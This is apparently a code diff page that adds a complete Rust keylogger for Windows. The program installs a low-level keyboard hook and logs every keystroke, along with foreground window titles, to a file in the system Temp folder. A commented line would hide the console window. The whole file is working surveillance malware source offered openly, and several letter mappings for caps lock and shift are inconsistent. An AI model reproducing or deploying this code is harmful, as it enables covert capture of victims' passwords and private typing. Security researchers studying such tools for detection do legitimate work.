1
+ /*
2
+ KeyLogger using SetWindowsHookExW
3
+ Author: @5mukx
4
+ */
5
+
6
+ //===> Uncomment the following line to hide the console window
7
+
8
+ // #![windows_subsystem = "windows"]
9
+
10
+ use std:: ptr:: null_mut;
11
+ use std:: fs:: OpenOptions ;
12
+ use std:: io:: Write ;
13
+ use winapi:: shared:: minwindef:: { LPARAM , LRESULT , WPARAM } ;
14
+ use winapi:: um:: libloaderapi:: GetModuleHandleW ;
15
+
16
+ use winapi:: um:: winuser:: {
17
+ CallNextHookEx , DispatchMessageW , GetForegroundWindow , GetKeyState , GetMessageW , GetWindowTextW , TranslateMessage , UnhookWindowsHookEx ,
18
+ HC_ACTION , KBDLLHOOKSTRUCT , VK_ADD , VK_BACK , VK_CANCEL , VK_CAPITAL , VK_CLEAR , VK_CONTROL , VK_DECIMAL , VK_DELETE , VK_DIVIDE , VK_DOWN , VK_END ,
19
+ VK_ESCAPE , VK_HELP , VK_HOME , VK_INSERT , VK_LCONTROL , VK_LEFT , VK_LSHIFT , VK_LWIN , VK_MENU , VK_MULTIPLY , VK_NEXT , VK_NUMLOCK , VK_NUMPAD0 , VK_NUMPAD1 ,
20
+ VK_NUMPAD2 , VK_NUMPAD3 , VK_NUMPAD4 , VK_NUMPAD5 , VK_NUMPAD6 , VK_NUMPAD7 , VK_NUMPAD8 , VK_NUMPAD9 , VK_OEM_1 , VK_OEM_2 , VK_OEM_3 , VK_OEM_4 , VK_OEM_5 ,
21
+ VK_OEM_6 , VK_OEM_7 , VK_OEM_CLEAR , VK_OEM_COMMA , VK_OEM_MINUS , VK_OEM_PERIOD , VK_OEM_PLUS , VK_PAUSE , VK_PLAY , VK_PRINT , VK_PRIOR , VK_RCONTROL , VK_RETURN ,
22
+ VK_RIGHT , VK_RSHIFT , VK_RWIN , VK_SCROLL , VK_SELECT , VK_SEPARATOR , VK_SHIFT , VK_SLEEP , VK_SNAPSHOT , VK_SPACE , VK_SUBTRACT , VK_TAB , VK_UP , VK_ZOOM , WM_KEYDOWN ,
23
+ WM_KEYUP , WM_SYSKEYDOWN
24
+ } ;
25
+
26
+ static mut SHIFT : bool = false ;
27
+ static mut LAST_WINDOW : * mut winapi:: shared:: windef:: HWND__ = std:: ptr:: null_mut ( ) ;
28
+ static mut KEYBOARD_HOOK : winapi:: shared:: windef:: HHOOK = std:: ptr:: null_mut ( ) ;
29
+
30
+ unsafe extern "system" fn hook_procedure ( n_code : i32 , w_param : WPARAM , l_param : LPARAM ) -> LRESULT {
31
+ if n_code == HC_ACTION {
32
+ let p = & * ( l_param as * const KBDLLHOOKSTRUCT ) ;
33
+ if w_param == WM_KEYDOWN as usize || w_param == WM_SYSKEYDOWN as usize {
34
+ let caps = ( GetKeyState ( VK_CAPITAL ) & 0x0001 ) != 0 ;
35
+
36
+ let current_window = GetForegroundWindow ( ) ;
37
+ if current_window != LAST_WINDOW {
38
+ LAST_WINDOW = current_window;
39
+
40
+ let mut window_title = vec ! [ 0u16 ; 256 ] ;
41
+ GetWindowTextW ( current_window, window_title. as_mut_ptr ( ) , 256 ) ;
42
+ let title = String :: from_utf16_lossy ( & window_title) ;
43
+ log_to_file ( & format ! ( "\n \n [Window: {}]\n " , title. trim_end_matches( '\0' ) ) ) ;
44
+ }
45
+
46
+ let key = match p. vkCode as i32 {
47
+ 0x41 => if caps { if SHIFT { "A" } else { "a" } } else { if SHIFT { "A" } else { "a" } } ,
48
+ 0x42 => if caps { if SHIFT { "B" } else { "b" } } else { if SHIFT { "B" } else { "b" } } ,
49
+ 0x43 => if caps { if SHIFT { "c" } else { "C" } } else { if SHIFT { "C" } else { "c" } } ,
50
+ 0x44 => if caps { if SHIFT { "d" } else { "D" } } else { if SHIFT { "D" } else { "d" } } ,
51
+ 0x45 => if caps { if SHIFT { "e" } else { "E" } } else { if SHIFT { "E" } else { "e" } } ,
52
+ 0x46 => if caps { if SHIFT { "f" } else { "F" } } else { if SHIFT { "F" } else { "f" } } ,
53
+ 0x47 => if caps { if SHIFT { "g" } else { "G" } } else { if SHIFT { "G" } else { "g" } } ,
54
+ 0x48 => if caps { if SHIFT { "h" } else { "H" } } else { if SHIFT { "H" } else { "h" } } ,
55
+ 0x49 => if caps { if SHIFT { "i" } else { "I" } } else { if SHIFT { "I" } else { "i" } } ,
56
+ 0x4A => if caps { if SHIFT { "j" } else { "J" } } else { if SHIFT { "J" } else { "j" } } ,
57
+ 0x4B => if caps { if SHIFT { "k" } else { "K" } } else { if SHIFT { "K" } else { "k" } } ,
58
+ 0x4C => if caps { if SHIFT { "l" } else { "L" } } else { if SHIFT { "L" } else { "l" } } ,
59
+ 0x4D => if caps { if SHIFT { "m" } else { "M" } } else { if SHIFT { "M" } else { "m" } } ,
60
+ 0x4E => if caps { if SHIFT { "n" } else { "N" } } else { if SHIFT { "N" } else { "n" } } ,
61
+ 0x4F => if caps { if SHIFT { "o" } else { "O" } } else { if SHIFT { "O" } else { "o" } } ,
62
+ 0x50 => if caps { if SHIFT { "p" } else { "P" } } else { if SHIFT { "P" } else { "p" } } ,
63
+ 0x51 => if caps { if SHIFT { "q" } else { "Q" } } else { if SHIFT { "Q" } else { "q" } } ,
64
+ 0x52 => if caps { if SHIFT { "r" } else { "R" } } else { if SHIFT { "R" } else { "r" } } ,
65
+ 0x53 => if caps { if SHIFT { "s" } else { "S" } } else { if SHIFT { "S" } else { "s" } } ,
66
+ 0x54 => if caps { if SHIFT { "t" } else { "T" } } else { if SHIFT { "T" } else { "t" } } ,
67
+ 0x55 => if caps { if SHIFT { "u" } else { "U" } } else { if SHIFT { "U" } else { "u" } } ,
68
+ 0x56 => if caps { if SHIFT { "v" } else { "V" } } else { if SHIFT { "V" } else { "v" } } ,
69
+ 0x57 => if caps { if SHIFT { "w" } else { "W" } } else { if SHIFT { "W" } else { "w" } } ,
70
+ 0x58 => if caps { if SHIFT { "x" } else { "X" } } else { if SHIFT { "X" } else { "x" } } ,
71
+ 0x59 => if caps { if SHIFT { "y" } else { "Y" } } else { if SHIFT { "Y" } else { "y" } } ,
72
+ 0x5A => if caps { if SHIFT { "z" } else { "Z" } } else { if SHIFT { "Z" } else { "z" } } ,
73
+ // Handle other keys as needed...
74
+
75
+ // sleep key
76
+ VK_SLEEP => "[SLEEP]" ,
77
+
78
+ // number keyboard
79
+ VK_NUMPAD0 => "0" ,
80
+ VK_NUMPAD1 => "1" ,
81
+ VK_NUMPAD2 => "2" ,
82
+ VK_NUMPAD3 => "3" ,
83
+ VK_NUMPAD4 => "4" ,
84
+ VK_NUMPAD5 => "5" ,
85
+ VK_NUMPAD6 => "6" ,
86
+ VK_NUMPAD7 => "7" ,
87
+ VK_NUMPAD8 => "8" ,
88
+ VK_NUMPAD9 => "9" ,
89
+ VK_MULTIPLY => "*" ,
90
+ VK_ADD => "+" ,
91
+ VK_SEPARATOR => "-" ,
92
+ VK_SUBTRACT => "-" ,
93
+ VK_DECIMAL => "." ,
94
+ VK_DIVIDE => "/" ,
95
+
96
+
97
+ // Function Keys
98
+ 0x70 => "[F1]" ,
99
+ 0x71 => "[F2]" ,
100
+ 0x72 => "[F3]" ,
101
+ 0x73 => "[F4]" ,
102
+ 0x74 => "[F5]" ,
103
+ 0x75 => "[F6]" ,
104
+ 0x76 => "[F7]" ,
105
+ 0x77 => "[F8]" ,
106
+ 0x78 => "[F9]" ,
107
+ 0x79 => "[F10]" ,
108
+ 0x7A => "[F11]" ,
109
+ 0x7B => "[F12]" ,
110
+ 0x7C => "[F13]" ,
111
+ 0x7D => "[F14]" ,
112
+ 0x7E => "[F15]" ,
113
+ 0x7F => "[F16]" ,
114
+ 0x80 => "[F17]" ,
115
+ 0x81 => "[F18]" ,
116
+ 0x82 => "[F19]" ,
117
+ 0x83 => "[F20]" ,
118
+ 0x84 => "[F21]" ,
119
+ 0x85 => "[F22]" ,
120
+ 0x86 => "[F23]" ,
121
+ 0x87 => "[F24]" ,
122
+
123
+ // keys
124
+ VK_NUMLOCK => "[NUM-LOCK]" ,
125
+ VK_SCROLL => "[SCROLL-LOCK]" ,
126
+ VK_BACK => "[BACK]" ,
127
+ VK_TAB => "[TAB]" ,
128
+ VK_CLEAR => "[CLEAR]" ,
129
+ VK_RETURN => "[ENTER]" ,
130
+ VK_SHIFT => "[SHIFT]" ,
131
+ VK_CONTROL => "[CTRL]" ,
132
+ VK_MENU => "[ALT]" ,
133
+ VK_PAUSE => "[PAUSE]" ,
134
+ VK_CAPITAL => "[CAP-LOCK]" ,
135
+ VK_ESCAPE => "[ESC]" ,
136
+ VK_SPACE => "[SPACE]" ,
137
+ VK_PRIOR => "[PAGEUP]" ,
138
+ VK_NEXT => "[PAGEDOWN]" ,
139
+ VK_END => "[END]" ,
140
+ VK_HOME => "[HOME]" ,
141
+ VK_LEFT => "[LEFT]" ,
142
+ VK_UP => "[UP]" ,
143
+ VK_RIGHT => "[RIGHT]" ,
144
+ VK_DOWN => "[DOWN]" ,
145
+ VK_SELECT => "[SELECT]" ,
146
+ VK_PRINT => "[PRINT]" ,
147
+ VK_SNAPSHOT => "[PRTSCRN]" ,
148
+ VK_INSERT => "[INS]" ,
149
+ VK_DELETE => "[DEL]" ,
150
+ VK_HELP => "[HELP]" ,
151
+
152
+
153
+ // Number Keys with shift
154
+ 0x30 => if SHIFT { "!" } else { "1" } ,
155
+ 0x31 => if SHIFT { "@" } else { "2" } ,
156
+ 0x32 => if SHIFT { "#" } else { "3" } ,
157
+ 0x33 => if SHIFT { "$" } else { "4" } ,
158
+ 0x34 => if SHIFT { "%" } else { "5" } ,
159
+ 0x35 => if SHIFT { "^" } else { "6" } ,
160
+ 0x36 => if SHIFT { "&" } else { "7" } ,
161
+ 0x37 => if SHIFT { "*" } else { "8" } ,
162
+ 0x38 => if SHIFT { "(" } else { "9" } ,
163
+ 0x39 => if SHIFT { ")" } else { "0" } ,
164
+
165
+ // Windows Keys
166
+ VK_LWIN => "[WIN]" ,
167
+ VK_RWIN => "[WIN]" ,
168
+ VK_LSHIFT => "[SHIFT]" ,
169
+ VK_RSHIFT => "[SHIFT]" ,
170
+ VK_LCONTROL => "[CTRL]" ,
171
+ VK_RCONTROL => "[CTRL]" ,
172
+
173
+ // OEM Keys with shift
174
+ VK_OEM_1 => if SHIFT { ":" } else { ";" } ,
175
+ VK_OEM_PLUS => if SHIFT { "+" } else { "=" } ,
176
+ VK_OEM_COMMA => if SHIFT { "<" } else { "," } ,
177
+ VK_OEM_MINUS => if SHIFT { "_" } else { "-" } ,
178
+ VK_OEM_PERIOD => if SHIFT { ">" } else { "." } ,
179
+ VK_OEM_2 => if SHIFT { "?" } else { "/" } ,
180
+ VK_OEM_3 => if SHIFT { "~" } else { "`" } ,
181
+ VK_OEM_4 => if SHIFT { "{" } else { "[" } ,
182
+ VK_OEM_5 => if SHIFT { "\\ " } else { "|" } ,
183
+ VK_OEM_6 => if SHIFT { "}" } else { "]" } ,
184
+ VK_OEM_7 => if SHIFT { "\" " } else { "'" } ,
185
+
186
+
187
+ // Action Keys
188
+ VK_PLAY => "[PLAY]" ,
189
+ VK_ZOOM => "[ZOOM]" ,
190
+ VK_OEM_CLEAR => "[CLEAR]" ,
191
+ VK_CANCEL => "[CTRL-C]" ,
192
+
193
+ _ => "[UNKNOWN]" ,
194
+ } ;
195
+
196
+ log_to_file ( key) ;
197
+ }
198
+
199
+ if w_param == WM_KEYUP as usize && ( p. vkCode == VK_LSHIFT as u32 || p. vkCode == VK_RSHIFT as u32 ) {
200
+ SHIFT = false ;
201
+ }
202
+ }
203
+
204
+ CallNextHookEx ( KEYBOARD_HOOK , n_code, w_param, l_param)
205
+ }
206
+
207
+ fn log_to_file ( content : & str ) {
208
+ if let Ok ( mut file) = OpenOptions :: new ( ) . create ( true ) . append ( true ) . open ( "C:\\ Windows\\ Temp\\ log.txt" ) {
209
+ writeln ! ( file, "{}" , content) . unwrap ( ) ;
210
+ }
211
+ }
212
+
213
+ unsafe fn unhook_keyboard ( ) {
214
+ UnhookWindowsHookEx ( KEYBOARD_HOOK ) ;
215
+ }
216
+
217
+ fn main ( ) {
218
+ unsafe {
219
+ println ! ( "[*] Logger started" ) ;
220
+
221
+ let h_instance = GetModuleHandleW ( null_mut ( ) ) ;
222
+
223
+ if h_instance. is_null ( ) {
224
+ println ! ( "Failed to get module handle" ) ;
225
+ return ;
226
+ }
227
+
228
+ KEYBOARD_HOOK = winapi:: um:: winuser:: SetWindowsHookExW (
229
+ winapi:: um:: winuser:: WH_KEYBOARD_LL ,
230
+ Some ( hook_procedure) ,
231
+ h_instance,
232
+ 0 ,
233
+ ) ;
234
+
235
+ if KEYBOARD_HOOK . is_null ( ) {
236
+ println ! ( "Failed to set hook" ) ;
237
+ return ;
238
+ }
239
+
240
+ println ! ( "[*] KeyCapture started handler set" ) ;
241
+
242
+ let mut msg = std:: mem:: zeroed ( ) ;
243
+ while GetMessageW ( & mut msg, null_mut ( ) , 0 , 0 ) > 0 {
244
+ TranslateMessage ( & msg) ;
245
+ DispatchMessageW ( & msg) ;
246
+ }
247
+
248
+ unhook_keyboard ( ) ;
249
+ }
250
+ }
0 commit comments